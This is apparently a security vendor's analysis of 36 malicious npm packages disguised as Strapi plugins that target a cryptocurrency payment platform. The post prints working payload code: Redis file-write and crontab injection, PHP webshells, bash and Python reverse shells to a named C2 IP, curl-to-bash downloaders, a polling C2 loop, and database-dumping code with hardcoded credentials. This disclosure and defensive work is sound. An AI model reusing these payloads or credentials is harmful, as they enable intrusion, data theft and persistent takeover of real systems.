Thirty-Six Malicious npm Strapi Packages Deploy Redis RCE, Database Theft, and Persistent C2

SafeDep Team
28 min read

Table of Contents

TL;DR

A coordinated campaign of thirty-six malicious npm packages disguised as Strapi CMS plugins was published using four sock-puppet npm accounts (umarbek1233, kekylf12, tikeqemif26, and umar_bektembiev1). Contrary to what you might expect from a package-spam campaign, the analyzed packages carry different payloads — eight distinct variants in total — revealing a real-time attack development session against a specific target.

The packages, in chronological order of publication:

  1. strapi-plugin-cron (02:02 UTC) — Redis RCE exploitation: injects crontab entries, writes PHP webshells and Node.js reverse shells to Strapi uploads, attempts SSH authorized_keys injection, reads raw disk via mknod+dd, and exfiltrates a Guardarian API module.
  2. strapi-plugin-config (02:47 UTC) — Redis + Docker overlay escape: discovers Docker overlay upperdir paths, writes shell payloads to overlay and host-accessible directories, launches a Python reverse shell, reads raw disk for Elasticsearch and wallet credentials, and injects hooks into node_modules.
  3. strapi-plugin-server (03:01 UTC), strapi-plugin-database (03:05 UTC), strapi-plugin-core (03:06 UTC), strapi-plugin-hooks (03:37 UTC) — Direct reverse shells: hostname-gated (hostname.includes('prod')), downloads and executes a shell script from the C2, launches bash (port 4444) and Python (port 8888) reverse shells, and writes+executes shell payloads via Redis.
  4. strapi-plugin-monitor (03:40 UTC) — Credential harvester + short C2: 8-phase attack with smart env_keys filtering, PostgreSQL connection string hunting, Redis access, wallet/key file search, and a 2.5-minute polling C2 loop.
  5. strapi-plugin-events (03:46 UTC) — Full credential harvester + long C2: the most comprehensive variant with 11 phases including .env file theft, full environment dump, Strapi config exfiltration, filesystem-wide secret discovery, Redis data dump, network reconnaissance, Docker/Kubernetes secret theft, private key harvesting, and a 5-minute polling C2 loop.
  6. strapi-plugin-seed (04:45 UTC) — Direct PostgreSQL database exploitation: connects using hardcoded credentials (user_strapi / 1QKtYPp18UsyU2ZwInVM), dumps Strapi webhooks and core_store secrets, enumerates all databases on the server, dumps tables matching wallet/transaction/deposit patterns, and explicitly probes for databases named guardarian, guardarian_payments, payments, exchange, and custody.
  7. [email protected] (11:53 UTC) — Persistent implant: hostname-gated (hostname === 'prod-strapi'), writes a persistent C2 agent to /tmp/.node_gc.js, spawns it detached, and installs a crontab entry for survival across restarts.
  8. [email protected] (15:04 UTC) — Fileless reverse shell + targeted credential theft: targets /var/www/nowguardarian-strapi/ and /opt/secrets/strapi-green.env, references a Jenkins CI pipeline in code comments, sweeps /opt/secrets/ and /var/www/*/, and spawns a fileless persistent reverse shell via node -e.

Impact:

  • Exploits Redis via CONFIG SET to write crontab entries, webshells, reverse shells, and SSH keys
  • Attempts Docker container escape via overlay filesystem discovery
  • Launches bash and Python reverse shells on ports 4444 and 8888
  • Reads raw disk via mknod+dd to extract passwords, wallet mnemonics, and SSH private keys
  • Connects directly to PostgreSQL using hardcoded credentials and dumps wallet/transaction tables
  • Enumerates all databases on the server, probing for guardarian, guardarian_payments, exchange, custody
  • Exfiltrates .env files, environment variables, Strapi configuration, and private keys
  • Dumps Redis keys and searches for PostgreSQL connection strings
  • Steals Docker/Kubernetes secrets and service account tokens
  • Opens polling C2 sessions for arbitrary command execution
  • Installs persistent backdoors (crontab, detached processes, fileless execution)
  • Targets a specific cryptocurrency payment platform’s infrastructure

Indicators of Compromise (IoC):

IoC: Malicious packages
packageversionauthorpublished
1strapi-plugin-cron3.6.8umarbek123314 hours ago
2strapi-plugin-config3.6.8umarbek123313 hours ago
3strapi-plugin-server3.6.8umarbek123313 hours ago
4strapi-plugin-database3.6.8umarbek123313 hours ago
5strapi-plugin-core3.6.8umarbek123313 hours ago
6strapi-plugin-hooks3.6.8umarbek123312 hours ago
7strapi-plugin-monitor3.6.8umarbek123312 hours ago
8strapi-plugin-events3.6.8umarbek123312 hours ago
9strapi-plugin-logger3.6.8umarbek123312 hours ago
10strapi-plugin-health3.6.8kekylf1213 hours ago
11strapi-plugin-sync3.6.8kekylf1213 hours ago
12strapi-plugin-seed3.6.8kekylf1213 hours ago
13strapi-plugin-locale3.6.8kekylf1213 hours ago
14strapi-plugin-form3.6.8kekylf126 hours ago
15strapi-plugin-notify3.6.8kekylf126 hours ago
16strapi-plugin-api3.6.8kekylf124 hours ago
17strapi-plugin-api3.6.9kekylf123 hours ago
18strapi-plugin-sitemap-gen3.6.8tikeqemif262 days ago
19strapi-plugin-nordica-tools3.6.10tikeqemif262 days ago
20strapi-plugin-nordica-sync3.6.8tikeqemif262 days ago
21strapi-plugin-nordica-cms3.6.8tikeqemif262 days ago
22strapi-plugin-nordica-api3.6.8tikeqemif262 days ago
23strapi-plugin-nordica-recon3.6.8tikeqemif262 days ago
24strapi-plugin-nordica-stage3.6.8tikeqemif262 days ago
25strapi-plugin-nordica-vhost3.6.8tikeqemif262 days ago
26strapi-plugin-nordica-deep3.6.8tikeqemif26a day ago
27strapi-plugin-nordica-lite3.6.11tikeqemif2617 hours ago
28strapi-plugin-nordica3.6.10umar_bektembiev13 days ago
29strapi-plugin-finseven3.6.8umar_bektembiev13 days ago
30strapi-plugin-hextest3.6.8umar_bektembiev13 days ago
31strapi-plugin-cms-tools3.6.8umar_bektembiev13 days ago
32strapi-plugin-content-sync3.6.8umar_bektembiev13 days ago
33strapi-plugin-debug-tools3.6.8umar_bektembiev13 days ago
34strapi-plugin-health-check3.6.8umar_bektembiev13 days ago
35strapi-plugin-guardarian-ext3.6.8umar_bektembiev13 days ago
36strapi-plugin-advanced-uuid3.6.8umar_bektembiev13 days ago
37strapi-plugin-blurhash3.6.8umar_bektembiev13 days ago
37 rows
| 4 columns
IoC: Infrastructure, credentials, and persistence
categoryindicatordetails
1npm accountumarbek1233[email protected]
2npm accountkekylf12[email protected]
3npm accounttikeqemif26unknown
4npm accountumar_bektembiev1unknown
5C2 server144[.]31[.]107[.]231:9999HTTP C2
6C2 server144[.]31[.]107[.]231:4444bash reverse shell
7C2 server144[.]31[.]107[.]231:8888Python reverse shell
8C2 path/exfil/exfiltration endpoint
9C2 path/c2/<id>/credential harvester C2
10C2 path/db/<id>/database exploitation
11C2 path/shell/persistent implant C2
12C2 path/build/<id>/fileless shell C2
13C2 path/bshell/reverse shell callback
14credentialsuser_strapi / 1QKtYPp18UsyU2ZwInVMhardcoded PostgreSQL credentials
15target databaseguardarianprobed database name
16target databaseguardarian_paymentsprobed database name
17target databasepaymentsprobed database name
18target databaseapi_paymentsprobed database name
19target databaseexchangeprobed database name
20target databasecustodyprobed database name
21persistence/tmp/.node_gc.jspersistent C2 agent script
22persistencecrontab pgrep -f node_gccrontab persistence entry
23persistenceRedis CONFIG SET crontabRedis-written crontab
24webshell/app/public/uploads/shell.phpPHP webshell
25webshell/app/public/uploads/revshell.jsNode.js reverse shell
26persistence file/tmp/redis_exec.shRedis exec payload
27persistence file/tmp/vps_shell.shVPS shell payload
28persistence file/app/node_modules/.hooks.jsinjected hook
29raw disk accessmknod /tmp/hostdisk b 8 1block device creation
30raw disk accessdd if=/dev/sda1raw disk read
31Redis exploitationCONFIG SET dir + CONFIG SET dbfilename + SAVEarbitrary file write via Redis
32filesystem scanfind / for .env* .pem .key id_rsa* wallet*secret discovery commands
32 rows
| 3 columns

Analysis

Campaign Overview

Thirty-six packages were published using four npm accounts (umarbek1233 with 9 packages, kekylf12 with 7 packages, tikeqemif26 with 10 packages, umar_bektembiev1 with 10 packages) that share the same 3-file package structure and identical attack patterns. The umarbek1233 and kekylf12 accounts share the same disposable email provider (@sharebot.net), identical Node.js/npm versions (v24.13.1 / npm 11.8.0). This is a single operator using multiple sock-puppet accounts for the most targeted variants.

Notably, the umar_bektembiev1 account published the earliest wave — including strapi-plugin-nordica, strapi-plugin-finseven, strapi-plugin-guardarian-ext, and other packages — 3 days before the umarbek1233 and kekylf12 batches. The kekylf12 account was active during both later publishing windows — strapi-plugin-seed was published at 04:45 UTC (within an hour of the last umarbek1233 package), while the strapi-plugin-api versions came 7–10 hours later. The tikeqemif26 account published a further wave including the strapi-plugin-nordica-* series. This overlap suggests all four accounts were operated by the same actor.

Every package contains three files (package.json, index.js, postinstall.js), has no description, repository, or homepage, and uses version 3.6.8 to appear as a mature Strapi v3 community plugin. The package names follow the naming convention used by legitimate packages like strapi-plugin-comments or strapi-plugin-upload. All official Strapi plugins are scoped under @strapi/, making these unscoped names a social engineering choice targeting developers searching for community plugins.

The package.json across all ten packages is structurally identical:

package/package.json
{
"name": "strapi-plugin-events",
"version": "3.6.8",
"main": "index.js",
"scripts": {
"postinstall": "node postinstall.js"
},
"license": "MIT"
}

The index.js exports an empty function, contributing nothing to any application:

package/index.js
module.exports = () => {};

The entire payload lives in postinstall.js, which is different for each package. The attack executes immediately on npm install via the postinstall script — no user interaction or require() call is needed. The postinstall script runs with the privileges of the installing user, which in CI/CD environments and Docker containers often means root access.

Payload 1: Redis RCE Exploitation (strapi-plugin-cron)

The earliest package in the campaign attempts to weaponize a locally accessible Redis instance for remote code execution. This is the most aggressive payload — it goes far beyond data theft to attempt persistent host compromise through Redis.

Chunked exfiltration. Unlike the later payloads that send data in a single POST, this variant implements a chunking protocol that splits large payloads into 50KB segments with part numbering (e.g., /exfil/cr-redis-info-p1of3):

// package/postinstall.js (strapi-plugin-cron)
function send(tag, data) {
return new Promise(function (resolve) {
var body = typeof data === 'string' ? data : JSON.stringify(data);
var chunks = [];
for (var i = 0; i < body.length; i += 50000) chunks.push(body.substring(i, i + 50000));
var idx = 0;
(function next() {
if (idx >= chunks.length) return resolve();
var s = chunks.length > 1 ? '-p' + (idx + 1) + 'of' + chunks.length : '';
var req = http.request({
hostname: VPS,
port: PORT,
path: '/exfil/' + tag + s,
// ...
});
})();
});
}

Redis crontab injection. The script uses the classic Redis CONFIG SET dir + SAVE technique to write arbitrary files to the filesystem. It attempts to inject a cron entry that downloads and executes a shell script from the C2 every minute:

// package/postinstall.js (strapi-plugin-cron)
var cronPayload = '\\n\\n*/1 * * * * curl -s http://' + VPS + ':' + PORT + '/shell.sh | bash\\n\\n';
var cronPaths = [
{ dir: '/var/spool/cron/crontabs', file: 'root' },
{ dir: '/var/spool/cron', file: 'root' },
{ dir: '/etc/cron.d', file: 'redis_job' },
{ dir: '/etc', file: 'crontab' },
{ dir: '/tmp', file: 'cron_test' },
];
for (var i = 0; i < cronPaths.length; i++) {
var p = cronPaths[i];
var cmd =
'CONFIG SET dir ' +
p.dir +
'\r\n' +
'CONFIG SET dbfilename ' +
p.file +
'\r\n' +
'SET cron_payload "' +
cronPayload +
'"\r\n' +
'SAVE\r\n';
var result = await redisCmd(cmd);
}

This writes the Redis database file (containing the cron payload surrounded by binary data) to the system crontab directories. Five paths are attempted, including a /tmp/cron_test dry-run to verify write capability first.

PHP webshell and Node.js reverse shell via Redis. The script writes two additional payloads to Strapi’s public uploads directory:

// package/postinstall.js (strapi-plugin-cron)
// PHP webshell
var webshellPayload = '\\n<?php system($_GET["c"]); ?>\\n';
var webshellCmd =
'CONFIG SET dir /app/public/uploads\r\n' +
'CONFIG SET dbfilename shell.php\r\n' +
'SET webshell "' +
webshellPayload +
'"\r\n' +
'SAVE\r\n';
// Node.js reverse shell
var nodeShell =
'\\nvar net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);' +
'var c=new net.Socket();c.connect(' +
PORT +
',"' +
VPS +
'",function(){' +
'c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});\\n';

If Redis has write access to /app/public/uploads/, the attacker gets a PHP webshell at /uploads/shell.php?c=<command> and a Node.js reverse shell at /uploads/revshell.js.

SSH authorized_keys injection via Redis. The script attempts to write an SSH public key to /root/.ssh/authorized_keys:

// package/postinstall.js (strapi-plugin-cron)
var sshPayload = '\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7test root@vps\\n\\n';
var sshCmd =
'CONFIG SET dir /root/.ssh\r\n' +
'CONFIG SET dbfilename authorized_keys\r\n' +
'SET sshkey "' +
sshPayload +
'"\r\n' +
'SAVE\r\n';

The key used here (AAAAB3NzaC1yc2EAAAADAQABAAABgQC7test) is a placeholder — the comment // Generate SSH keypair on VPS later confirms this is preparation for a real key to be injected via the C2 channel.

Raw disk read. The script creates a block device node and uses dd to read raw disk, searching for secrets in the binary data:

// package/postinstall.js (strapi-plugin-cron)
run('mknod /tmp/hostdisk b 8 1 2>/dev/null');
var rawSecrets = run(
'dd if=/dev/sda1 bs=4096 count=5000 2>/dev/null | strings | ' +
'grep -iE "PASSWORD=|SECRET=|ELASTIC|WALLET|PRIVATE_KEY|MNEMONIC|API_KEY=" | sort -u | head -100',
60000
);

This bypasses filesystem permissions entirely — even deleted files or files in other containers sharing the same host disk can be recovered this way.

Guardarian API module exfiltration. The script specifically targets a Guardarian API integration module, confirming knowledge of the target as early as the first package:

// package/postinstall.js (strapi-plugin-cron)
await send('cr-gd-module', run('find /app/exteranl-apis -type f -name "*.js" -exec cat {} + 2>/dev/null'));

Note the typo exteranl-apis (instead of external-apis), which must match the target’s actual directory name — further evidence of prior reconnaissance.

Payload 2: Redis + Docker Overlay Escape (strapi-plugin-config)

Published 45 minutes after the first package, this payload adds Docker container escape techniques to the Redis exploitation approach.

Docker overlay filesystem discovery. The script parses mount output to find the Docker overlay upperdir — the host filesystem path where the container’s writable layer is stored:

// package/postinstall.js (strapi-plugin-config)
var mountInfo = run('mount | grep overlay | head -3');
var upperMatch = mountInfo.match(/upperdir=([^,\s]+)/);
var upperDir = upperMatch ? upperMatch[1] : '';

If the container has access to /proc/mounts or the mount command, the upperdir reveals the absolute host path. The script then uses Redis CONFIG SET dir to write shell payloads to the overlay path, effectively writing files visible to the host outside the container.

Strategic Redis write targets. The script expands the Redis write strategy beyond crontab to multiple directories, including the discovered overlay path:

// package/postinstall.js (strapi-plugin-config)
var paths = [
{ dir: upperDir, file: 'shell.sh', desc: 'overlay-root' },
{ dir: '/tmp', file: 'shell.sh', desc: 'tmp' },
{ dir: '/var/lib/redis', file: 'shell.sh', desc: 'redis-lib' },
{ dir: '/var/tmp', file: 'shell.sh', desc: 'var-tmp' },
{ dir: '/dev/shm', file: 'shell.sh', desc: 'dev-shm' },
{ dir: '/app/public', file: 'shell.sh', desc: 'app-public' },
{ dir: '/app/public/uploads', file: 'shell.sh', desc: 'app-uploads' },
];

Python reverse shell. In addition to Redis-based techniques, the script launches a direct Python reverse shell on port 4444:

// package/postinstall.js (strapi-plugin-config)
execSync(
'nohup python3 -c "import socket,subprocess,os;s=socket.socket();' +
"s.connect(('" +
VPS +
"',4444));" +
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
"subprocess.call(['/bin/bash','-i'])\" &>/dev/null &",
{ timeout: 3000 }
);

Raw disk read for specific targets. The disk scanning expands to search for Elasticsearch credentials, Docker container configs, and cryptocurrency wallet data:

// package/postinstall.js (strapi-plugin-config)
var rawDocker = run(
'dd if=/dev/sda1 bs=4096 skip=0 count=50000 2>/dev/null | strings | ' +
'grep -B1 -A1 "config.v2.json\\|HOT_WALLET\\|COLD_WALLET\\|DEPOSIT_ADDRESS\\|payment\\|MNEMONIC" | head -100',
120000
);

The search for HOT_WALLET, COLD_WALLET, DEPOSIT_ADDRESS, and MNEMONIC in raw disk data confirms the cryptocurrency theft objective.

Node_modules hooks injection. The script writes a reverse shell trigger into the application’s node_modules directory via Redis:

// package/postinstall.js (strapi-plugin-config)
var hookPayload = '\\nrequire("child_process").execSync("curl ' + VPS + ':' + PORT + '/shell.sh|bash");\\n';
var hookCmd =
'CONFIG SET dir /app/node_modules\r\n' +
'CONFIG SET dbfilename .hooks.js\r\n' +
'SET hook "' +
hookPayload +
'"\r\n' +
'SAVE\r\n';

Payload 3: Direct Reverse Shells (strapi-plugin-server, database, core, hooks)

Four packages published between 03:01 and 03:37 UTC share an identical, simplified payload. The attacker appears to have abandoned the Redis exploitation approach (likely because it wasn’t working) and switched to direct shell execution.

Hostname gating. These packages gate on the hostname containing prod:

// package/postinstall.js (strapi-plugin-server)
var hn = run('hostname').trim();
await send('sv-start', hn);
if (!hn.includes('prod')) {
await send('sv-skip', 'not-prod');
return;
}

This is a looser check than Payload 7’s exact prod-strapi match — it triggers on any hostname containing “prod” (e.g., prod-strapi, production-1, prod-web).

Multi-vector reverse shell. The script attempts three different reverse shell methods in rapid succession:

// package/postinstall.js (strapi-plugin-server)
// 1. Download and execute shell script from C2
run('curl -s http://' + VPS + ':9999/shell.sh -o /tmp/vps_shell.sh 2>/dev/null');
run('chmod +x /tmp/vps_shell.sh');
execSync('nohup bash /tmp/vps_shell.sh &>/dev/null &', { timeout: 3000 });
// 2. Bash reverse shell on port 4444
execSync('nohup bash -c "bash -i >& /dev/tcp/' + VPS + '/4444 0>&1" &>/dev/null &', { timeout: 3000 });
// 3. Python reverse shell on port 8888
execSync(
'nohup python3 -c "import socket,subprocess,os;s=socket.socket();' +
"s.connect(('" +
VPS +
"',8888));" +
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
"subprocess.call(['/bin/bash','-i'])\" &>/dev/null &",
{ timeout: 3000 }
);

Three different ports (9999, 4444, 8888) are used, suggesting the attacker has multiple listeners ready and is hedging against firewall rules that might block specific ports.

Redis-assisted shell execution. As a fallback, the script writes a shell downloader via Redis and executes the resulting file:

// package/postinstall.js (strapi-plugin-server)
c.write(
'CONFIG SET dir /tmp\r\nCONFIG SET dbfilename redis_exec.sh\r\n' +
'SET x "\\n#!/bin/bash\\ncurl -s http://' +
VPS +
':9999/shell.sh|bash\\n"\r\n' +
'SAVE\r\nCONFIG SET dir /var/lib/redis\r\nCONFIG SET dbfilename dump.rdb\r\n'
);
// Later: execute the Redis-written file
run('chmod +x /tmp/redis_exec.sh 2>/dev/null; nohup bash /tmp/redis_exec.sh &>/dev/null &');

Payload 4: Credential Harvester + Short C2 (strapi-plugin-monitor)

Published just 3 minutes before strapi-plugin-events, this package represents a pivot from direct exploitation to reconnaissance. The attacker stopped trying to get a shell and started collecting data.

Smart beacon with env_keys filtering. Unlike the raw hostname beacon in earlier payloads, this variant’s beacon includes a filtered list of sensitive-looking environment variable names:

// package/postinstall.js (strapi-plugin-monitor)
var info = {
id: ID,
hostname: run('hostname').trim(),
whoami: run('whoami').trim(),
pwd: process.cwd(),
uname: run('uname -a').trim(),
ip: run('hostname -I 2>/dev/null || echo n/a').trim(),
node: process.version,
env_keys: Object.keys(process.env).filter(function (k) {
return /key|secret|pass|token|db|redis|api|jwt|admin|auth|wallet|ledger/i.test(k);
}),
};

The env_keys filter tells the attacker which sensitive variables exist before exfiltrating their values — an optimization for noisy environments with hundreds of variables.

File dump with /opt/app/ paths. The target paths shift from /app/ (standard Docker) to /opt/app/ — a convention used by some deployment tools:

// package/postinstall.js (strapi-plugin-monitor)
var files = [
'/opt/app/.env',
'/opt/app/config/database.js',
'/opt/app/config/server.js',
'/opt/app/config/plugins.js',
'/opt/app/package.json',
'/root/.env',
'/home/strapi/.env',
'/etc/hostname',
process.cwd() + '/.env',
process.cwd() + '/config/database.js',
];

PostgreSQL connection string hunting. A new phase not present in any earlier payload:

// package/postinstall.js (strapi-plugin-monitor)
var pgstr = run("grep -r 'postgres://' /opt/app/ 2>/dev/null; grep -r 'DATABASE_URL' /opt/app/ 2>/dev/null").slice(
0,
5000
);
await post('/c2/' + ID + '/pgstr', pgstr);

Shorter C2 loop. The polling C2 runs for 30 rounds at 5-second intervals (2.5 minutes), compared to the 60 rounds (5 minutes) in the next payload:

// package/postinstall.js (strapi-plugin-monitor)
for (var round = 0; round < 30; round++) {
var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round }));
if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop') {
var result = run(cmdResp.trim());
await post(
'/c2/' + ID + '/result',
JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) })
);
}
await new Promise(function (r) {
setTimeout(r, 5000);
});
}

Payload 5: Full Credential Harvester + Long C2 (strapi-plugin-events)

Published 6 minutes after strapi-plugin-monitor, this is the most comprehensive reconnaissance payload in the campaign. It extends Payload 4 with broader file discovery, a full environment dump, Redis data extraction, network topology mapping, Docker/Kubernetes secret theft, and a longer C2 window.

C2 infrastructure setup. The script establishes communication with the hardcoded server:

// package/postinstall.js (strapi-plugin-events)
var http = require('http');
var exec = require('child_process').execSync;
var fs = require('fs');
var VPS = '144.31.107.231';
var PORT = 9999;
var ID = 'guard-' + Math.random().toString(36).slice(2, 8);

Each infected host generates a random session ID (e.g., guard-k7f2m9) used to namespace all C2 communications. The post() helper sends data via plain HTTP POST to the C2 server with a 15-second timeout.

Phase 1: Beacon. The script sends system reconnaissance data to /c2/<id>/beacon:

// package/postinstall.js (strapi-plugin-events)
var info = {
id: ID,
hostname: run('hostname').trim(),
whoami: run('whoami').trim(),
pwd: process.cwd(),
uname: run('uname -a').trim(),
ip: run('hostname -I 2>/dev/null || echo n/a').trim(),
node: process.version,
};
await post('/c2/' + ID + '/beacon', info);

This gives the attacker an immediate inventory of the compromised host: username, hostname, kernel version, internal IP, and Node.js version.

Phase 2: .env file theft. The script reads .env files from hardcoded paths targeting common Strapi deployment layouts:

// package/postinstall.js (strapi-plugin-events)
var envPaths = [
'/app/.env',
'/app/.env.production',
'/app/.env.local',
'/data/.env',
'/home/strapi/.env',
'/home/node/.env',
'/opt/app/.env',
'/srv/.env',
process.cwd() + '/../.env',
process.cwd() + '/../../.env',
process.cwd() + '/../../../.env',
];

The paths /app/.env, /home/strapi/.env, and /home/node/.env target Docker containers running Strapi with common base images. The relative path traversals (../../.env) walk up from the node_modules install directory to reach the project root.

Phase 3: Environment variable dump. The script runs env via shell to capture every environment variable, including database connection strings, cloud provider credentials, and JWT secrets that Strapi applications commonly configure through environment variables.

// package/postinstall.js (strapi-plugin-events)
var envDump = run('env');
await post('/c2/' + ID + '/envdump', envDump.slice(0, 100000));

Phase 4: Strapi configuration files. The script specifically targets Strapi’s configuration directory structure:

// package/postinstall.js (strapi-plugin-events)
var configs = [
'/app/config/database.js',
'/app/config/server.js',
'/app/config/plugins.js',
'/app/config/middleware.js',
'/app/config/functions/bootstrap.js',
'/app/config/environments/production/database.json',
'/app/package.json',
'/app/yarn.lock',
];

These files contain database connection details, API keys for third-party plugins, and the application’s dependency tree.

Phase 5: Filesystem-wide .env discovery. The script uses find to locate every .env file on the system, up to 5 directories deep:

// package/postinstall.js (strapi-plugin-events)
var allEnv = run("find / -maxdepth 5 -name '.env*' -type f 2>/dev/null");
await post('/c2/' + ID + '/allenv', allEnv);

This is the behavior flagged by our dynamic analysis system. It catches .env files in non-standard locations that the hardcoded paths in Phase 2 would miss.

Phase 6: Redis data dump. The script opens a raw TCP connection to the local Redis instance and dumps all keys:

// package/postinstall.js (strapi-plugin-events)
var net = require('net');
var c = new net.Socket();
c.connect(6379, '127.0.0.1', function () {
c.write('INFO server\r\nDBSIZE\r\nKEYS *\r\n');
});

Strapi deployments commonly use Redis for caching and session storage. This dumps server info, database size, and every key name, which can include session tokens and cached API responses.

Phase 7: Network reconnaissance. The script collects network topology information:

// package/postinstall.js (strapi-plugin-events)
var internal = run(
'cat /etc/hosts 2>/dev/null; echo ---RESOLV---; cat /etc/resolv.conf 2>/dev/null; echo ---ARP---; arp -a 2>/dev/null; echo ---ROUTE---; ip route 2>/dev/null'
);

This maps the internal network for lateral movement: DNS resolvers, ARP neighbors, and routing tables reveal other services and hosts reachable from the compromised container.

Phase 8: Docker and Kubernetes secrets. The script attempts to read container orchestration secrets:

// package/postinstall.js (strapi-plugin-events)
var docker = run(
'ls -la /var/run/docker.sock 2>/dev/null; echo ---; cat /run/secrets/* 2>/dev/null; echo ---DOCKERENV---; cat /.dockerenv 2>/dev/null; echo ---KUBE---; ls -la /var/run/secrets/kubernetes.io/ 2>/dev/null; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null'
);

If the Docker socket is accessible, the attacker can control the host’s Docker daemon. The Kubernetes service account token enables API access to the cluster, potentially allowing privilege escalation beyond the compromised pod.

Phase 9: Private key and wallet theft. The script uses find to locate cryptographic keys and cryptocurrency wallet files:

// package/postinstall.js (strapi-plugin-events)
var keys = run(
"find / -maxdepth 4 \\( -name '*.pem' -o -name '*.key' -o -name 'id_rsa*' -o -name 'wallet*' -o -name '*private*' -o -name '*secret*' \\) ! -path '*/ssl/certs/*' ! -path '*/node_modules/*' -type f 2>/dev/null"
);

It then reads up to 10 of the discovered files and sends their contents to the C2 server. This captures TLS private keys, SSH keys, and any files with “private” or “secret” in their name.

Phase 10: Strapi database access attempt. The script attempts to load the application’s knex database driver and configuration:

// package/postinstall.js (strapi-plugin-events)
var dbQuery = run(
"node -e \"const k=require('/app/node_modules/knex');const c=require('/app/config/database.js');\" 2>&1"
);

Phase 11: Polling C2 loop. The final phase establishes a persistent command-and-control channel. The script polls the C2 server every 5 seconds for 60 rounds (approximately 5 minutes), executing any command the server returns:

// package/postinstall.js (strapi-plugin-events)
for (var round = 0; round < 60; round++) {
var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round }));
if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop' && cmdResp.trim() !== 'ok') {
var result = run(cmdResp.trim());
await post(
'/c2/' + ID + '/result',
JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) })
);
}
await new Promise(function (r) {
setTimeout(r, 5000);
});
}

This gives the attacker interactive shell access to the compromised host. The server responds with nop or ok when idle, and with a shell command when active. Results are sent back to /c2/<id>/result. Using execSync means each command runs with the full privileges of the Node.js process.

Data Exfiltration

All stolen data is sent via plain HTTP POST to 144[.]31[.]107[.]231:9999. The C2 protocol uses path-based routing:

PathData
/c2/<id>/beaconSystem info (hostname, user, IP, kernel)
/c2/<id>/envIndividual .env file contents
/c2/<id>/envdumpFull env output
/c2/<id>/configStrapi configuration files
/c2/<id>/allenvList of all .env files on disk
/c2/<id>/sortedenvSorted environment variables
/c2/<id>/redis-fullRedis server info and all keys
/c2/<id>/network/etc/hosts, resolv.conf, ARP, routes
/c2/<id>/dockerDocker socket, secrets, K8s tokens
/c2/<id>/keysList of private key files found
/c2/<id>/keyfileContents of individual key files
/c2/<id>/resultOutput of C2 commands

No encryption is used. All data, including private keys and credentials, is transmitted in plaintext over HTTP.

Payload 6: PostgreSQL Database Exploitation (strapi-plugin-seed)

Published at 04:45 UTC under the kekylf12 account — just one hour after the last umarbek1233 package — this payload represents the most direct evidence of prior compromise. It connects to the target’s PostgreSQL database using hardcoded credentials, confirming the attacker already had access before this campaign began.

Hardcoded database credentials. The script uses knex (Strapi’s database driver) with real credentials baked into the source:

// package/postinstall.js (strapi-plugin-seed)
var knex = require('knex');
var db = knex({
client: 'pg',
connection: {
host: process.env.DATABASE_HOST || '127.0.0.1',
port: process.env.DATABASE_PORT || 5432,
user: process.env.DATABASE_USERNAME || 'user_strapi',
password: process.env.DATABASE_PASSWORD || '1QKtYPp18UsyU2ZwInVM',
database: process.env.DATABASE_NAME || 'strapi',
},
});

The fallback values user_strapi and 1QKtYPp18UsyU2ZwInVM are not generic defaults — they are the target’s actual database credentials. The code first checks environment variables (which would be set in the target’s container), falling back to hardcoded values if the variables are missing.

Strapi data dump. The script queries Strapi-specific tables for secrets:

// package/postinstall.js (strapi-plugin-seed)
// Strapi webhooks (internal API URLs)
var webhooks = await db.raw('SELECT * FROM strapi_webhooks');
// core_store — filtered for sensitive values
var store = await db.raw('SELECT * FROM core_store');
for (var i = 0; i < store.rows.length; i++) {
var row = store.rows[i];
var val = String(row.value || '');
if (
val.indexOf('secret') >= 0 ||
val.indexOf('token') >= 0 ||
val.indexOf('key') >= 0 ||
val.indexOf('api') >= 0 ||
val.indexOf('webhook') >= 0 ||
val.indexOf('grant') >= 0 ||
val.indexOf('password') >= 0 ||
val.indexOf('auth') >= 0 ||
row.key.indexOf('grant') >= 0 ||
row.key.indexOf('users') >= 0
) {
await post('/db/' + ID + '/store-' + i, JSON.stringify(row));
}
}
// users-permissions settings (OAuth provider secrets)
var perms = await db.raw(
"SELECT * FROM core_store WHERE key LIKE '%users-permissions%' OR key LIKE '%grant%' OR key LIKE '%provider%'"
);

Cross-database enumeration. The script lists all databases on the PostgreSQL server, then connects to each non-system database and dumps tables matching cryptocurrency-related patterns:

// package/postinstall.js (strapi-plugin-seed)
var dbs = await db.raw('SELECT datname FROM pg_database WHERE datistemplate = false');
for (var i = 0; i < otherDbs.length; i++) {
var db2 = knex({
client: 'pg',
connection: {
host: '127.0.0.1',
port: 5432,
user: 'user_strapi',
password: '1QKtYPp18UsyU2ZwInVM',
database: otherDbs[i].datname,
},
});
var tables2 = await db2.raw("SELECT tablename FROM pg_tables WHERE schemaname='public'");
for (var j = 0; j < tables2.rows.length; j++) {
var tn = tables2.rows[j].tablename;
if (
/wallet|key|address|transaction|deposit|withdraw|hot|cold|secret|setting|config|partner|user|token|balance/i.test(
tn
)
) {
var data = await db2.raw('SELECT * FROM "' + tn + '" LIMIT 50');
await post('/db/' + ID + '/otherdb-' + otherDbs[i].datname + '-' + tn, JSON.stringify(data.rows));
}
}
}

The table name regex — wallet|transaction|deposit|withdraw|hot|cold|balance — is purpose-built for a cryptocurrency platform’s database schema.

Explicit Guardarian database probing. The script then attempts to connect to six specific database names:

// package/postinstall.js (strapi-plugin-seed)
for (var dbname of ['payments', 'api_payments', 'guardarian', 'guardarian_payments', 'exchange', 'custody']) {
try {
var db3 = knex({
client: 'pg',
connection: {
host: '127.0.0.1',
port: 5432,
user: 'user_strapi',
password: '1QKtYPp18UsyU2ZwInVM',
database: dbname,
},
});
var t3 = await db3.raw("SELECT tablename FROM pg_tables WHERE schemaname='public'");
await post('/db/' + ID + '/found-db-' + dbname, JSON.stringify(t3.rows));
} catch (e) {}
}

